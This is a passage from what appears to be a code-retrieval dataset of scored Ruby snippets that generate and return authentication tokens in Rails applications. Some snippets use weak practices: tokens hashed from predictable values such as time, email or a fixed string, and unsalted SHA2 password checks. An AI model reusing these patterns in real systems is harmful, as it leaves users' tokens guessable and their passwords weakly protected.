response['token_auth']\n end", "title": "" }, { "docid": "2e3174f0e21e7337d3be8896db8fc406", "score": "0.61233586", "text": "def create\n user = warden.authenticate!(auth_options)\n token = Tiddle.create_and_return_token(user, request)\n render json: { authentication_token: token }\n end", "title": "" }, { "docid": "ac6b5f55eced763ae09d95e2f85fd72f", "score": "0.6121053", "text": "def generate_token\n return unless token.nil?\n token = @auth_token\n temp_token = (token + '|' + Time.now.to_s) if token.index('|').nil?\n @token = Magician.encrypt temp_token\n end", "title": "" }, { "docid": "1464ee0fe6359d8317998ea9d1e9a7df", "score": "0.61030245", "text": "def generate_token\n\t\t\tbegin\n\t\t\t\tself.auth_token = User.new_auth_token\n\t\t\tend while User.exists?(auth_token: self.auth_token)\n\t\tend", "title": "" }, { "docid": "29fe18024e86fc20b7885bfaface8ebd", "score": "0.6094564", "text": "def get_token\n #logger.debug generate_token(@user.id)\n render :json=> generate_token(@user.id)\n end", "title": "" }, { "docid": "a52298e73331a6f78400eb20bc3ac830", "score": "0.6032138", "text": "def generate_authentication_token!\n self.authentication_token = Digest::SHA1.hexdigest(\"#{Time.now}-#{self.id}-#{self.updated_at}\")\n self.save\n end", "title": "" }, { "docid": "404f38bab200f188ac0db66131ee07d6", "score": "0.6017161", "text": "def auth_token; end", "title": "" }, { "docid": "ba7e4c80c83b3d0294db1de4744208e3", "score": "0.6016299", "text": "def generate_token\n JsonWebToken.encode({\n admin: @user.admin,\n address: @user.address,\n avatar: @user.avatar,\n city: @user.city,\n confirmedAt: @user.confirmed_at&.to_formatted_s(:db),\n country: @user.country,\n createdAt: @user.created_at.to_formatted_s(:db),\n email: @user.email,\n enabled: @user.enabled,\n enabled2FA: @user.two_fa_secret.present?,\n first: @user.first,\n fullName: @user.full_name,\n last: @user.last,\n newEmail: @user.new_email,\n nickname: @user.nickname,\n rewardNotificationOn: @user.reward_notification_on,\n slug: @user.slug,\n state: @user.state,\n updatedAt: @user.updated_at.to_formatted_s(:db),\n zipcode: @user.zipcode,\n verified: @user.verified_at,\n verificationStatus: @user.verification_status,\n verificationImage: @user.verification_image\n })\n end", "title": "" }, { "docid": "404f38bab200f188ac0db66131ee07d6", "score": "0.6015818", "text": "def auth_token; end", "title": "" }, { "docid": "404f38bab200f188ac0db66131ee07d6", "score": "0.6015818", "text": "def auth_token; end", "title": "" }, { "docid": "aebaeee5e22d6123247c567ab3aa519d", "score": "0.5993516", "text": "def generate_token\n update_attribute(:token, Digest::MD5.hexdigest(login + Time.now.to_i.to_s + rand(999999).to_s)[0..4])\n end", "title": "" }, { "docid": "7fce2ec005444b8e8cdaf775cd6f9135", "score": "0.59881014", "text": "def generate_token(user)\n # add or update any information you want in your token here\n # using meetup token because that token expires so you can use it to pull the users\n # refresh token\n payload = {meet_up_oauth_token: user.meet_up_oauth_token}\n #takes the payload, some kind of decription key, and a level of encryption \n JWT.encode(payload, Rails.application.credentials.secret_key_base , 'HS256')\n end", "title": "" }, { "docid": "6057e92b7c38188b24c8aa82669f4de6", "score": "0.59789795", "text": "def generate_token\n { 'token' => jwt_token.generate(user) }\n end", "title": "" }, { "docid": "66c3081ac52411066878279c55e28e71", "score": "0.5946276", "text": "def generate_token\n u = User.find(params[:id])\n Token.generate(u)\n redirect_to root_path\n end", "title": "" }, { "docid": "861142c10f755c206263a20bc46d2cad", "score": "0.59314793", "text": "def generate_token\n begin\n self[:auth_token] = SecureRandom.urlsafe_base64\n end while User.exists?(auth_token: self[:auth_token])\n end", "title": "" }, { "docid": "861142c10f755c206263a20bc46d2cad", "score": "0.59314793", "text": "def generate_token\n begin\n self[:auth_token] = SecureRandom.urlsafe_base64\n end while User.exists?(auth_token: self[:auth_token])\n end", "title": "" }, { "docid": "f161f05a4fdc43a996f0d2212b879250", "score": "0.5905367", "text": "def generate_token\n begin\n self[:auth_token] = SecureRandom.urlsafe_base64\n end while User.exists?(:auth_token => self[:auth_token])\n end", "title": "" }, { "docid": "f161f05a4fdc43a996f0d2212b879250", "score": "0.5905367", "text": "def generate_token\n begin\n self[:auth_token] = SecureRandom.urlsafe_base64\n end while User.exists?(:auth_token => self[:auth_token])\n end", "title": "" }, { "docid": "f161f05a4fdc43a996f0d2212b879250", "score": "0.5905367", "text": "def generate_token\n begin\n self[:auth_token] = SecureRandom.urlsafe_base64\n end while User.exists?(:auth_token => self[:auth_token])\n end", "title": "" }, { "docid": "310eb56ce61e7f78cc1f120a14a5f318", "score": "0.5896694", "text": "def auth_token\n # To receive an auth token a user must be a current admin or there\n # are no NILM's associated with this node\n nilms = current_user.retrieve_nilms_by_permission\n head :unauthorized and return if (nilms[:admin].empty? and Nilm.count > 0)\n auth_key = NilmAuthKey.find_by_user_id(current_user.id)\n if auth_key.nil?\n auth_key = NilmAuthKey.create(user: current_user)\n end\n render json: {key: auth_key.key}\n end", "title": "" }, { "docid": "d79c8dc6555e8dcd63227cce8662d22e", "score": "0.58888304", "text": "def token\n generate_token(\n user_id: id,\n settings: settings,\n password_digest: password_digest,\n authorities: \"#{Digest::MD5.hexdigest(authorities.to_json)}-v3.0.0\",\n cross_shop_authorities: Digest::MD5.hexdigest(cross_shop_authorities.to_json)\n )\n end", "title": "" }, { "docid": "d38cedf1f1c144a87f280f06f65bd734", "score": "0.5872724", "text": "def generate_token\n logger.info(\"generating token for #{id} email: #{email} name: #{name}\")\n token_before = \"#{Time.now.to_i}\" + email\n # MD5.md5(token_before).hexdigest\n OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(AppConstants::FILE_DOWNLOAD_DIGEST), \n AppConstants::FILE_DOWNLOAD_KEY, token_before)\n end", "title": "" }, { "docid": "70a0507dc2dda3c06cb3efb3c6421cc6", "score": "0.585606", "text": "def gen_token\n nonce = Array.new(10){rand(0x100000000)}.pack('I*')\n nonce_base64 = [nonce].pack('m').chomp\n now = Time.now.utc.iso8601\n digest = [Digest::SHA1.digest(nonce + now + @password)].pack('m').chomp\n sprintf(%Q<UsernameToken Username=\"%s\", PasswordDigest=\"%s\", Nonce=\"%s\", Created=\"%s\">,\n @username, digest, nonce_base64, now)\n end", "title": "" }, { "docid": "72a7b4ea3c862df96aa2237834e51ec0", "score": "0.5829982", "text": "def call\n JsonWebToken.encode(user_id: user.id, user_email: user.email) if user\n end", "title": "" }, { "docid": "c0f7cc3eeb1edd5def43045ab6f491a7", "score": "0.58261603", "text": "def generate_token(user)\n payload =\n {\n id: user.id,\n email: user.email,\n orgnaization_id: user.try(:orgnaization)&.id,\n slug: user.try(:orgnaization)&.slug\n }\n JsonWebToken.encode(payload, 72.hours.from_now)\n end", "title": "" }, { "docid": "f8e852fd7395fc870e645e09526e504e", "score": "0.58194834", "text": "def service_user_token\n ServiceUser.create!(service_creds)\n post api_v1_boot_path, params: Hash(auth: service_creds)\n assert_response :success\n parsed_response.dig('data', 'jwt')\n end", "title": "" }, { "docid": "a5a3d3977e8971a8c4bf1aeaa8200458", "score": "0.58121365", "text": "def token\n Digest::SHA1.hexdigest(\"#{id}/#{email}/123456789\")\n end", "title": "" }, { "docid": "0ab18cde6c2c05de080bbdb9dc33f48a", "score": "0.58094674", "text": "def generate_authentication_token!\n begin\n self.auth_token = \"token_tentant_\" + SecureRandom.urlsafe_base64\n end while User.find_by(auth_token: self.auth_token )\n end", "title": "" }, { "docid": "cb33ef6de627a24754421a282d7c516b", "score": "0.58091444", "text": "def create\n render json: auth_token, status: :created\n end", "title": "" }, { "docid": "95b4313eabac44dde6282419df6c567b", "score": "0.57973284", "text": "def sync_token\n if @caldav_backend.is_a?(Backend::SyncSupport) &&\n @calendar_info.key?('{DAV:}sync-token')\n return @calendar_info['{DAV:}sync-token']\n end\n\n if @caldav_backend.is_a?(Backend::SyncSupport) &&\n @calendar_info.key?('{http://sabredav.org/ns}sync-token')\n return @calendar_info['{http://sabredav.org/ns}sync-token']\n end\n end", "title": "" }, { "docid": "9c3e41529b0dda13fd456360be59c284", "score": "0.5797235", "text": "def create_token\n\t begin\n\t self.token = User.digest(User.new_token)\n\t end while check_token_exists?(token)\n\t end", "title": "" }, { "docid": "f0cc8f677c986a272a654a858f46f8df", "score": "0.57719916", "text": "def get_auth_token(user)\n encode({user_id: user.id})\n end", "title": "" }, { "docid": "96accc8f2f1853c3052bb4e50921bd9a", "score": "0.576254", "text": "def create_email_token\n client.post(\"/u/email-token.json\", {login: user.email})\n end", "title": "" }, { "docid": "1d975c733b9a0041d9568a465d2261f4", "score": "0.57618743", "text": "def auth_with_token\r\n result = use_cmd(@curlhead + @get + @basehttp + \"me\")\r\n save_file(\"auth_result.txt\", result)\r\n JSON.parse(result)\r\n end", "title": "" }, { "docid": "cdd90eb939c6a6ca663cb1ff4eb2dc1f", "score": "0.5761334", "text": "def gen_token\n digest = OpenSSL::Digest.new('sha256')\n secret = ENV['REPLIT_SECRET_KEY']\n time_created = Time.now.to_i * 1000 # convert to ms\n hmac = OpenSSL::HMAC.digest(digest, secret, time_created.to_s)\n\n {\n msg_mac: Base64.encode64(hmac).strip,\n time_created: time_created\n }\n end", "title": "" }, { "docid": "04b7595f8103728e71febb0d9f1e23ac", "score": "0.5754135", "text": "def generate_auth_token\n # expiry of access token is 60 minutes\n # expiry of refresh token is 24 hrs\n access_expiry_timestamp = DateTime.now + 60.minute\n refresh_expiry_timestamp = DateTime.now + 1.day\n # generates JWT with user_id and expiry_time as payload\n # true is for refresh field\n tokens = Hash.new\n tokens['access'] = Hash.new\n tokens['access']['token'] = TokenHelper.jwt_encode(self._id, access_expiry_timestamp, false)\n tokens['access']['expiry_time'] = access_expiry_timestamp\n tokens['refresh'] = Hash.new\n tokens['refresh']['token'] = TokenHelper.jwt_encode(self._id, refresh_expiry_timestamp, true)\n tokens['refresh']['expiry_time'] = refresh_expiry_timestamp\n tokens\n end", "title": "" }, { "docid": "1b2650dea03444d72a027fbd8781bd14", "score": "0.5747019", "text": "def generate_auth_token\n self.auth_token = SecureRandom.urlsafe_base64\n generate_auth_token if User.where(auth_token: self.auth_token).present?\n end", "title": "" }, { "docid": "be7f0848da811d8593cdd0df66f18b5a", "score": "0.57468635", "text": "def auth_token\n generate_auth_token if @auth_token.nil?\n return @auth_token\n end", "title": "" }, { "docid": "be7f0848da811d8593cdd0df66f18b5a", "score": "0.57468635", "text": "def auth_token\n generate_auth_token if @auth_token.nil?\n return @auth_token\n end", "title": "" }, { "docid": "16b0b67cd1b144b282f3ae16e9858f37", "score": "0.5738885", "text": "def create_registration_token_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SystemAdministrationSettingsUserManagementAccessTokenApi.create_registration_token ...'\n end\n # resource path\n local_var_path = '/aaa/registration-token'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RegistrationToken')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SystemAdministrationSettingsUserManagementAccessTokenApi#create_registration_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a5a101f2411b318d6dbe52abd4769dea", "score": "0.5732239", "text": "def token\n t = [@options[:username], @options[:password]].join(':')\n Base64.encode64(t).delete(\"\\r\\n\")\n end", "title": "" }, { "docid": "1ef7896a9c46f279f76d6da5e7584d39", "score": "0.57274413", "text": "def create\n render json: auth_token, status: :created\n end", "title": "" }, { "docid": "a18da56e419750bfa4bb21bd4e556a0e", "score": "0.5721285", "text": "def create\n new_parms = user_params\n new_parms[:password] = params[:password]\n new_parms[:password_confirmation] = params[:password_confirmation]\n respond_with User.create(new_parms).auth_token\n end", "title": "" }, { "docid": "5981e71834157f50e3759d60a5e38090", "score": "0.57079643", "text": "def generate_authentication_token\n begin\n self.auth_token = Devise.friendly_token\n end while User.exists?(auth_token: auth_token)\n end", "title": "" }, { "docid": "4b11b9cf737f415a512df90ca9caaee8", "score": "0.5702373", "text": "def generate_auth_token\n self.oauth_token = SecureRandom.urlsafe_base64 50\n self.oauth_expires_at = generate_expiration_time\n self.save!\n end", "title": "" }, { "docid": "b16a666afde2404e94923f1e36b17924", "score": "0.5702117", "text": "def generate_auth_token\n token = SecureRandom.hex\n self.update_columns(auth_token: token)\n token\n end", "title": "" }, { "docid": "cb301d59dc0267da332c63071cb5c89d", "score": "0.5696796", "text": "def create\n user = User.create!(user_params)\n render json: { token: user.auth_token }\n end", "title": "" }, { "docid": "9c7952492c6ae56a725bfa01ad282dad", "score": "0.5696789", "text": "def user_api_token()\n self.class.get('/user/api_token', create_params({}))['result']\n end", "title": "" }, { "docid": "af355dd121efb4852f454a321dd90865", "score": "0.5686162", "text": "def get_auth_token\n email = params[:email]\n password = params[:password]\n\n if email.nil?\n render :status => 400, :json => { :error => { :message => 'The request must contain a valid email.', :code => 'InvalidRequest' }}\n return\n end\n\n if password.nil?\n render :status => 400, :json => { :error => { :message => 'The request must contain a valid password.', :code => 'InvalidRequest' }}\n return\n end\n\n customer = Customer.find_by_email(email.downcase)\n\n if customer.nil?\n render :status => 400, :json => { :error => { :message => 'User not found.', :code => 'InvalidRequest' }}\n return\n end\n\n if customer.valid_password?(password)\n customer.ensure_authentication_token\n render :status => 200, :json => { :auth_token => customer.get_devise_auth_token }\n else\n render :status => 400, :json => { :error => { :message => 'Invalid email or password.', :code => 'InvalidRequest' }}\n end\n end", "title": "" }, { "docid": "2806e4a7d0b7e50c6e0e94924a63537c", "score": "0.5684277", "text": "def createToken\n parameters = {\n :scope => @scope,\n :grant_type => @grant_type\n }\n getNewToken(parameters)\n end", "title": "" }, { "docid": "959209d38f0a7d97166fc92df4fd3403", "score": "0.5674073", "text": "def generate_token\n self.token = User.encrypt(User.new_token)\n end", "title": "" }, { "docid": "562fba3c175c75290c3db4123eb59fd5", "score": "0.5672637", "text": "def generateAuthToken(typeOfRequest, *paramsRequest)\n if(typeOfRequest=='POST' && paramsRequest.count == 4)\n return generateAuthTokenEspecialBodega\n else\n \tdata = typeOfRequest\n \tparamsRequest.each do |param|\n if param.name!='limit'\n data= data << param.value.to_s\n end\n end\n end\n #Clave única Grupo7\n authToken= 'INTEGRACION grupo7:' << hmac_sha1(data, ENV[\"pass_bodega\"])\n return authToken\n #end\nend", "title": "" }, { "docid": "23de84b81ab55394e0f1f432f5b7c942", "score": "0.5670024", "text": "def generate_request_token\n token = \"#{(0...3).map { ('a'..'z').to_a[rand(26)] }.join}#{(0...3).map { (0..9).to_a[rand(9)] }.join}\"\n while User.exists?(request_token: token)\n token = \"#{(0...3).map { ('a'..'z').to_a[rand(26)] }.join}#{(0...3).map { (0..9).to_a[rand(9)] }.join}\"\n end\n self.update(request_token: token)\n token\n end", "title": "" }, { "docid": "4caf0bc10377150a691282fe27736385", "score": "0.56679857", "text": "def generate_token\n self.token = Digest::SHA1.hexdigest([self.team_id, Time.now, rand].join)\n end", "title": "" }, { "docid": "520abaa849bf313c0c54af09d7f0605a", "score": "0.5664611", "text": "def create\r\n user = User.find_by_email(params[:user][:email])\r\n if user.present?\r\n if user[:encrypted_password] == Digest::SHA2.hexdigest(params[:user][:password])\r\n \tuser.generate_token\r\n \tuser.save\r\n \trender_ok({token: user.token})\r\n else\r\n \trender_forbidden\r\n end\r\n else\r\n render_forbidden\r\n end\r\n end", "title": "" }, { "docid": "5fe8e6f090e3490252e74074af7930fb", "score": "0.56617856", "text": "def regenerate_token\n self.auth_token = User.generate_unique_secure_token\n self.save\n end", "title": "" }, { "docid": "23f1f56f523286a8b443cfc3240b91c6", "score": "0.5661329", "text": "def token\n JWT.encode({ user_id: self.id }, ENV['my_apps_secret'])\n end", "title": "" }, { "docid": "577663b85b6782821735b74f3c833a3e", "score": "0.5648631", "text": "def auth_token\n Base64.encode64(\"#{config.username}:#{config.password}\")\n end", "title": "" }, { "docid": "e80593bdc7c9593c780a375711d3e82e", "score": "0.56457704", "text": "def generate_token\n \tloop do \n \t\ttoken = SecureRandom.hex\n \t\tbreak token unless User.exists? authentication_token: token\n \tend\n end", "title": "" }, { "docid": "97eef05138d8ee696f57c3fea8554b72", "score": "0.5639448", "text": "def generate_auth_token!\n\t\tbegin\n\t\t self.authentication_token = Devise.friendly_token\n\t\tend while self.class.exists?(authentication_token: authentication_token)\n end", "title": "" }, { "docid": "8c085ff86f046d988db1efa1940dd47a", "score": "0.56363213", "text": "def token_for(user)\n Auth::TokenManager.encode(user.id)\nend", "title": "" }, { "docid": "ed9a114684f367168675cbe0877b6c71", "score": "0.56361276", "text": "def token\n {\n token: Token.encode(user_id: self.id)\n }\n end", "title": "" }, { "docid": "e7e95408016b1a6c7d139a3da3608d4b", "score": "0.5624513", "text": "def smart_token\n # already generated\n return @smart_token if @smart_token\n\n # make sure there's a password\n if @pass_hash.nil?\n password_randomize!\n save\n end\n\n require_relative '../util/smart_token'\n @smart_token = SmartToken.new(@guid).sign!(smart_token_secret)\n end", "title": "" }, { "docid": "d9b4af1f6a81cb3de1836284c4be284f", "score": "0.5623519", "text": "def create\n \n success, user = User.valid_password?(params[:email], params[:password])\n if success\n authentication_token = user.generate_auth_token\n render json: { auth_token: authentication_token }\n else\n head :unauthorized\n end\n \n end", "title": "" }, { "docid": "80564081b3bf6d17ae1ff5b56579f796", "score": "0.5623449", "text": "def call\n return user if user[:authenticate_errors]\n\n json_web_token = { token: JsonWebToken.encode(user_id: user.id), user: user }\n json_web_token\n end", "title": "" }, { "docid": "5ee77971997023e52a0ae2f2184370c5", "score": "0.5618189", "text": "def create\n\n unless params[:correspondent_id]\n\n error_message = \"No 'correspondent_id' param specified.\"\n\n render json: { errors: error_message }, status: :unprocessable_entity and return \n\n end\n\n unless current_user\n\n error_message = \"Only users may create the secret message token\"\n\n render json: { errors: error_message }, status: :unprocessable_entity and return\n\n end\n\n correspondent_user = User.find params[:correspondent_id]\n\n unless correspondent_user\n\n error_message = \"The user #{params[:correspondent_id]} is not found.\"\n\n render json: { errors: error_message }, status: :unprocessable_entity and return\n\n end\n\n secret_message_token = doubled_signed_token current_user.email, correspondent_user.email\n\n token_hash = {}\n\n token_hash[:sender] = current_user.email\n\n token_hash[:receiver] = correspondent_user.email\n\n token_hash[:secret_message_token] = secret_message_token\n\n render json: token_hash, status: :created \n\n # @secret_message_token = SecretMessageToken.new(secret_message_token_params)\n\n # if @secret_message_token.save\n # render json: @secret_message_token, status: :created, location: [:api, @secret_message_token]\n # else\n # render json: @secret_message_token.errors, status: :unprocessable_entity\n # end\n\n end", "title": "" }, { "docid": "ad680edc81497c96911be99baa03fc5b", "score": "0.5617761", "text": "def generate(user_id)\n # generate token as devise generates the token\n token = friendly_token\n store_token user_id, token\n token\n end", "title": "" }, { "docid": "bbbb461a513331a3e7c871310d0acf86", "score": "0.5610823", "text": "def token\n user_token\n end", "title": "" }, { "docid": "a8482e716adc60447a792a342cf76305", "score": "0.5610374", "text": "def generate_token\n\t\tself.token = Digest::SHA1.hexdigest([self.group_id, Time.now, rand].join)\n\tend", "title": "" }, { "docid": "6fcfd278e825a7eee52b7ace0b3fe4ea", "score": "0.56102633", "text": "def http_post_token( req )\n # validates there is a login and password field\n if req[:login].nil? or req[:password].nil?\n return { :status => STATUS_ERROR, :error => \"A valid login and password are required to create a token.\", :request => req }\n end\n\n # password check\n test_user = @users.find( :login => req[:login] ).first\n\n if test_user.nil?\n return { :status => STATUS_ERROR, :error => \"A valid login and password are required to create a token.\", :request => req }\n end\n\n password = encrypt( test_user['salt'], req[:password] )\n user = @users.find( :login => req[:login], :password => password ).first\n\n # handle password failure!\n if user.nil?\n return { :status => STATUS_ERROR, :error => \"A valid login and password are required to create a token.\", :request => req }\n end\n\n\n # create the token\n token = { \n :user => user['id'],\n :token => generate_id\n }\n\n # stash it\n @tokens << token\n\n { :status => STATUS_OK, :token => token[:token], :user => token[:user] }\n end", "title": "" }, { "docid": "a37dc2ef6adf517159ea7ebdf43ccfff", "score": "0.56093395", "text": "def generate_token\n token = SecureRandom.base64(64)\n user = User.where(\"id = ?\", self.id)\n # while User.where(\"id = ? and token = ?\", \"#{self.id}\", \"%#{token}%\").present? do\n # token = SecureRandom.base(64)\n # end\n \n token_object = {token: token, created_at: Time.now.utc, expires_at: 10.days.from_now.utc}\n self.tokens << token_object\n self.save\n token_object\n end", "title": "" }, { "docid": "ea03e590541b044af69cd554d43209f0", "score": "0.5606416", "text": "def create_auth_token!\n self.auth_token = SecureRandom.base64(50)\n self.save!\n self.auth_token\n end", "title": "" }, { "docid": "49fb70fc191a431dfb1a7ee4d5c2426e", "score": "0.5601236", "text": "def generate_user_auth_token\n JWT.encode(\n { id: id, exp: 5.days.from_now.to_i },\n Rails.application.secrets.secret_key_base\n )\n end", "title": "" }, { "docid": "37bfdd71ef076a5ff054a4a94f615da7", "score": "0.5600957", "text": "def push_token\n digest = OpenSSL::Digest.new 'sha256'\n hmac_key = Rails.application.secrets.w3gram_secret\n hmac = OpenSSL::HMAC.digest digest, hmac_key, \"device-id|#{key}\"\n token = Base64.urlsafe_encode64 hmac\n token.strip!\n token.gsub! '=', ''\n token\n end", "title": "" }, { "docid": "0bb156ac6827ad365d803a478350d44d", "score": "0.5598779", "text": "def create\n @user = User.find_by(login: create_params[:login])\n if @user.password == create_params[:password]\n @user.generate_authentication_token\n @user.save\n else\n render json: {error: 401}, status:401\n end\n end", "title": "" }, { "docid": "8a7e42c9bb4c5dd8436c13b751fa0434", "score": "0.5597828", "text": "def user_token_generator(user_id)\n JsonWebToken.encode(user_id: user_id)\n end", "title": "" }, { "docid": "71a3550d7cc767cf90e1eda5e79e53cd", "score": "0.5594031", "text": "def generate_login_token(user)\n return JWT.encode(\n {\n email: user.email,\n expire: Time.now + LOGIN_TOKEN_DURATION,\n version: TOKEN_VERSION,\n }, Rails.application.credentials.login_token_key)\n end", "title": "" }, { "docid": "74451f6691667bee402d431ab424e1c5", "score": "0.5593825", "text": "def google_apps_token\n \n #puts '>>> request.env[\"omniauth.auth\"]:', request.env[\"omniauth.auth\"]\n puts '>>> callback from google apps params:', params\n \n omni_auth = request.env['omniauth.auth']\n accessToken = omni_auth.credentials.token\n \n puts \">>> omni_auth:\", omni_auth.to_yaml\n #puts \">>> omni_auth.uid:\", omni_auth.uid\n #puts \">>> omni_auth.provider:\", omni_auth.provider\n #puts \">>> omni_auth.info:\", omni_auth.info\n #puts \">>> omni_auth.credentials:\", omni_auth.credentials\n #puts \">>> omni_auth.extra:\", omni_auth.extra\n \n #puts \">>> omni_auth.credentials.expires:\", omni_auth.credentials.expires\n #puts \">>> omni_auth.credentials.expires_at:\", omni_auth.credentials.expires_at\n #puts \">>> omni_auth.credentials.token:\", omni_auth.credentials.token\n \n omni_params = request.env[\"omniauth.params\"]\n puts \">>> omni_params:\", omni_params.to_yaml\n puts \">>> accessToken:\", accessToken\n \n user = {\n :role => 'devops',\n :name => omni_auth.info.name,\n :email => omni_auth.info.email\n }\n puts \">>> user:\", user\n \n jwt = Medistrano::JWT.from_user(user, user[:role]) #.encoded\n jwt_encoded = Medistrano::JWT.encoded_test(jwt)\n \n puts \">>> jwt:\", jwt\n puts \">>> jwt_encoded:\", jwt_encoded\n puts \">>> jwt encoded and then multijson.encode:\", MultiJson.encode(jwt_encoded)\n render(json: MultiJson.encode(jwt_encoded), status: 200)\n end", "title": "" }, { "docid": "cd085f39a07e05a958d97f495192602b", "score": "0.5589116", "text": "def generate_token\n loop do\n token = SecureRandom.base64.tr('+/=', 'Qrt')\n break token unless User.exists?(authentication_token: token)\n end\n end", "title": "" }, { "docid": "fe6f9d09c1ea48a14d28dc9dd5d9e5cc", "score": "0.5585842", "text": "def create\n token = get_token\n grant = get_grant\n token.add_grant(grant)\n render json: {username: current_user.name, token: token.to_jwt}\n end", "title": "" }, { "docid": "4040b28034b4d80c59e18b93b1c77877", "score": "0.5581358", "text": "def get_token\n user = User.find_by! email: params['email']\n\n user.verify_authentication params['password']\n\n json(\"\\\"#{user.token}\\\"\")\n end", "title": "" }, { "docid": "48a2fbbf715b0d00c2de9aeb593bb10c", "score": "0.5578764", "text": "def create_verification_token\n string = \"#{DateTime.now().to_i()}\" + self.id.to_s() + self.salt.to_s()\n self.verification_token = generate_hash(string)\n end", "title": "" }, { "docid": "0217a091ce27e7163d0a129cf8850efc", "score": "0.5577514", "text": "def create\n if params[:auth_token].blank?\n render :status => 422, :xml => <<-EOS\n<error>#{t(:message_token_missing_parametr)}</error>\nEOS\n return false\n end\n\n # Get our domain\n domain = Domain.find_by(name: params[:auth_token][:domain])\n if domain.nil?\n render :text => t(:message_domain_not_found), :status => 404\n return\n end\n\n # expiry time\n t = params[:auth_token][:expires_at].present? ? Time.parse( params[:auth_token][:expires_at] ) : nil\n\n # Our new token\n @auth_token = AuthToken.new(\n :domain => domain,\n :user => current_user,\n :expires_at => t\n )\n\n # Build our token from here on\n @auth_token.policy = params[:auth_token][:policy] unless params[:auth_token][:policy].blank?\n @auth_token.allow_new_records = ( params[:auth_token][:allow_new] == \"true\" ) unless params[:auth_token][:allow_new].blank?\n @auth_token.remove_records = ( params[:auth_token][:remove] == \"true\" ) unless params[:auth_token][:remove].blank?\n\n if params[:auth_token][:protect_type] && params[:auth_token][:protect_type].size > 0\n params[:auth_token][:protect_type].each do |t|\n @auth_token.protect_type( t )\n end\n end\n\n if params[:auth_token][:record] && params[:auth_token][:record].size > 0\n params[:auth_token][:record].each do |r|\n name, type = r.split(':')\n @auth_token.can_change( name, type || '*' )\n end\n end\n\n if params[:auth_token][:protect] && params[:auth_token][:protect].size > 0\n params[:auth_token][:protect].each do |r|\n name, type = r.split(':')\n @auth_token.protect( name, type || '*' )\n end\n end\n\n if @auth_token.save\n render :status => 200, :xml => <<-EOF\n <token>\n <expires>#{@auth_token.expires_at}</expires>\n <auth_token>#{@auth_token.token}</auth_token>\n <url>#{token_url( :token => @auth_token.token )}</url>\n </token>\n EOF\n else\n render :status => 500, :xml => <<-EOF\n <error>\n #{@auth_token.errors.to_xml}\n </error>\n EOF\n end\n end", "title": "" }, { "docid": "987489a796bbd4bb6a397325eda009a9", "score": "0.55710095", "text": "def generate_token(endpoint, http_method, data='')\n timestamp = DateTime.now.strftime('%Q')\n unsigned_data = \"#{http_method.upcase}#{timestamp}#{data.to_s}#{endpoint}\"\n signature = Base64.strict_encode64(\n OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), resource[:access_key], unsigned_data)\n ).strip\n \"LMv1 #{resource[:access_id]}:#{signature}:#{timestamp}\"\n end", "title": "" }, { "docid": "b7e38ad9e5395cc0358f5309c3825780", "score": "0.5565811", "text": "def generate_personal_token\n loop do\n token = Devise.friendly_token\n break token unless User.where(personal_token: token).first\n end\n end", "title": "" }, { "docid": "b7e38ad9e5395cc0358f5309c3825780", "score": "0.5565811", "text": "def generate_personal_token\n loop do\n token = Devise.friendly_token\n break token unless User.where(personal_token: token).first\n end\n end", "title": "" }, { "docid": "05dce50517cf557258c3f12dae87df02", "score": "0.55496114", "text": "def regenerate_auth_token\n self.auth_token = nil\n generate_token\n save!\n end", "title": "" }, { "docid": "05dce50517cf557258c3f12dae87df02", "score": "0.55496114", "text": "def regenerate_auth_token\n self.auth_token = nil\n generate_token\n save!\n end", "title": "" }, { "docid": "533902c5644edf6edd8e51c3946c8bcc", "score": "0.55459464", "text": "def sync_in_demo_mappy\n\n DemoMappyServerApi.new.send_request_of_type(\n 'post', 'setup/update-token', @data_to_sync)\n\n end", "title": "" }, { "docid": "c8f3f0303a7cefb602718c2c4de8072f", "score": "0.55456483", "text": "def generate_auth_token\n self.auth_token = SecureRandom.uuid if self.auth_token.blank?\n end", "title": "" }, { "docid": "3cd1512ff7be93647a718d39b2c120ef", "score": "0.55447495", "text": "def regenerate_verification_token\n update_token\n end", "title": "" }, { "docid": "1b9366dd529a0b301516a3dc4fa85439", "score": "0.55447453", "text": "def token\n \"#{id}.#{digest}\"\n end", "title": "" }, { "docid": "c12e0882b2045f84ffde912317ee4f96", "score": "0.5537879", "text": "def token\n form_data = {\n \"accountType\" => \"HOSTED\",\n \"Email\" => @email,\n \"Passwd\" => @password,\n \"service\" => @service,\n }\n\n response = self.class.post('', {:body => form_data})\n if response.code == 200 and response.body =~ /Auth=(.*)\\n/\n $1\n end\n end", "title": "" }, { "docid": "9e34fa984e42aca88a6746c69c98653a", "score": "0.55377185", "text": "def generate_token\n response = @client.call(:authenticate, message: { username: @username, password: @password, organization: '', domain: @domain })\n .hash[:envelope][:body][:authenticate_response][:authenticate_result]\n raise \"Error generating the authentication token for user #{@username}: #{response[:errors][:string]}\" if response[:errors]\n response[:token]\n rescue Savon::Error => err\n raise \"There was an error generating the authentiaton token for user #{@username}: #{err}\"\n end", "title": "" }, { "docid": "f4a07e9a899d8385f34e1c633dd27947", "score": "0.5536819", "text": "def socialLogin\n if (defined?(@uid) && defined?(@provider) && defined?(@encrypted_key) && defined?(@token))\n begin\n identity = Identity.where(provider: @provider).find_by_uid(@uid)\n valid = (@provider.downcase == \"twitter\") ? true : isValidToken?(@token, @provider)\n if (identity != nil && Digest::SHA256.hexdigest(@uid.to_s + identity.token + Identity::SALT) == @encrypted_key && valid)\n codeAnswer 200\n @returnValue = { content: identity.user.as_json(:include => {\n :address => { only: Address.miniKey },\n :friends => { only: User.miniKey },\n :follows => { only: User.miniKey }\n },\n :only => User.notRestrictedKey\n ) }\n identity.newToken\n 